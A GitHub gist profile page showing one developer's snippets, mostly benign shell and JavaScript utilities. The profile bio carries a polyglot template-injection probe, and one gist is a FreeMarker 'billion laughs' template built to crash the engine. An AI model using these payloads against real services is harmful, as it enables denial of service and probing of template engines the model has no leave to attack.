Skip to content

Instantly share code, notes, and snippets.

View Plazmaz's full-sized avatar
👀
’<!--${7*7}<#--{#{{!--#}#{7*7}${{7*7}}-->{{__proto__}}--}}{{this}}#set($x=7*7)$x

Dylan Katz Plazmaz

👀
’<!--${7*7}<#--{#{{!--#}#{7*7}${{7*7}}-->{{__proto__}}--}}{{this}}#set($x=7*7)$x
View GitHub Profile
@Plazmaz
Plazmaz / freemarker-billion.ftl
Last active November 20, 2019 20:37
FreeMarker Billion Laughs
<#-- This will crash Freemarker when used as a template -->
<#assign x=[r"<#list x as y> <#assign x2=y?interpret/> <@x2/> </#list>", r"<#list x as y> <#assign x2=y?interpret/> <@x2/> </#list>"]/>
<#list x as y>
<#assign x2=y?interpret/>
<@x2/>
</#list>

Keybase proof

I hereby claim:

  • I am plazmaz on github.
  • I am plazmaz (https://keybase.io/plazmaz) on keybase.
  • I have a public key ASBxr7rAPgnm0QPh7SAuvPdZSIcoiHtF9wGH3uNplRZtDwo

To claim this, I am signing this object:

@Plazmaz
Plazmaz / gen-bitbucket-credentials.sh
Created November 7, 2017 16:59
Generate test credentials for bitbucket
#!/bin/bash
CLIENT_ID=""
CLIENT_SECRET=""
if [[ ! $1 ]]
then
echo "Please visit the following url to generate a code:"
echo "https://bitbucket.org/site/oauth2/authorize?client_id=$CLIENT_ID&response_type=code"
else
curl -X POST -u "$CLIENT_ID:$CLIENT_SECRET" \
@Plazmaz
Plazmaz / windir.sh
Last active June 15, 2019 01:34
This is a simple function for converting windows paths (C:\Users\Test\t.txt) to their WSL equivalent (/mnt/c/Users/Test/t.txt)
# !/bin/bash
function windir() {
echo "/mnt/$1" | sed -e 's/\\\\/\//g' -e 's/\b\(.\):/\L\1/g'
}

Keybase proof

I hereby claim:

  • I am Plazmaz on github.
  • I am plazmaz (https://keybase.io/plazmaz) on keybase.
  • I have a public key whose fingerprint is 361E 53F6 C25C 5BD6 4E0D AD43 40F2 0498 A66D C05B

To claim this, I am signing this object:

@Plazmaz
Plazmaz / netcat-webserver.sh
Last active May 7, 2021 02:08
A one-liner for a netcat webserver w/ sane logging
#! /bin/bash
sudo bash -c 'while true; do echo "HTTP/1.1 200 OK\n\n" |nc -l -p 80 |egrep -v "Accept" |egrep -v "Content-Length" |egrep -v "Host" |egrep -vi "cache"; done'
# Original (no sudo):
# while true; do echo "HTTP/1.1 200 OK\n\n" |nc -l -p 80 |egrep -v "Accept" |egrep -v "Content-Length" |egrep -v "Host" |egrep -vi "cache"; done
# Raw (Skip filtering header lines):
# sudo bash -c 'while true; do echo "HTTP/1.1 200 OK\n\n" |nc -l -p 80; done'
@Plazmaz
Plazmaz / all-chrome-extensions.txt
Last active March 18, 2022 21:05
Update: This file was limited by upload size! Please see https://github.com/Plazmaz/every-chrome-extension for the full list and scraping tool
https://chrome.google.com/webstore/detail/%D0%B0%D0%B2%D1%82%D0%BE%D1%80%D1%81%D0%BA%D0%B8%D0%B5-%D1%81%D1%82%D0%B8%D0%BA%D0%B5%D1%80%D1%8B-%D0%B1%D0%B5%D1%81%D0%BA%D0%BE%D0%BD%D0%B5/aoaagafllhniocophalnomgfmolofkko
https://chrome.google.com/webstore/detail/senscritique/nofmkkmhgjhhhilmilkcamnkbjhpkfen
https://chrome.google.com/webstore/detail/wambli-wiconi-tipi-db-sit/caldolanelnbbloogdldjcjcpeidfngc
https://chrome.google.com/webstore/detail/piscine-iasi/hgnfahakmadogmfpbmfmnonciegelngl
https://chrome.google.com/webstore/detail/chouti-enhance/pdllnllndjpgeklihnlgeloknebkepeb
https://chrome.google.com/webstore/detail/ezshopper/bnkdkedkdoaniknfocfonneflokdimcm
https://chrome.google.com/webstore/detail/ptysh/kpioedflaimmieepoconfikagbjclojh
https://chrome.google.com/webstore/detail/dussenberg-model-j-tab/dcaijaamhndclgifjelncejelokpcpdn
https://chrome.google.com/webstore/detail/balance/lflebgnjdhlmnedagbeildjbagfllhie
https://chrome.google.com/webstore/detail/mecha-khaxis/iepfbkljfaoegagfeeiklcdcennadiei
@Plazmaz
Plazmaz / stream.sh
Created May 21, 2017 00:13
Stream an image file to twitch
#! /bin/bash
IN_IMG="1.jpg"
STREAM_KEY="live_xxxxxxxxx_xxxxxxxxxxxxxx"
ffmpeg -re -loop 1 -framerate 2 -i $IN_IMG \
-f lavfi -i anullsrc=channel_layout=stereo:sample_rate=44100 \
-c:a libmp3lame \
-vcodec libx264 -pix_fmt yuv420p -maxrate 2048k -bufsize 2048k \
-framerate 30 -g 2 -strict experimental -f flv \
-strict experimental -f flv rtmp://live.twitch.tv/app/$STREAM_KEY
@Plazmaz
Plazmaz / bots.txt
Last active October 5, 2022 01:15
List of 171 Twitter auto-retweet/like bot accounts
avkashk
alejandronw
kneuman
threatintelbot
LucyBailey_1989
JeremieRykner
slomogoldfish
remelehane
Iona_Marvel
MrLucasBryant
@Plazmaz
Plazmaz / scrape.js
Last active February 23, 2017 18:54
Extract data from Google Books Ngram Viewer(https://books.google.com/ngrams/graph)
//This can be pasted into the chrome dev console to generate a comma seperated list
//of coordinates. This is copied to your clipboard and can be pasted into a CSV.
var children = document.getElementsByClassName("y axis main")[0].children;
var scaleStr = children[children.length - 2].children[1].innerHTML;
scaleStr = scaleStr.substring(0, scaleStr.length - 1);
var scale = 413 / parseFloat(scaleStr);
var data = document.getElementsByClassName("line visible clickable main")[0].getAttribute("d");
var coords = data.substr(1).split("L")
var msg = ""
for(var i = 0; i < coords.length; i++) {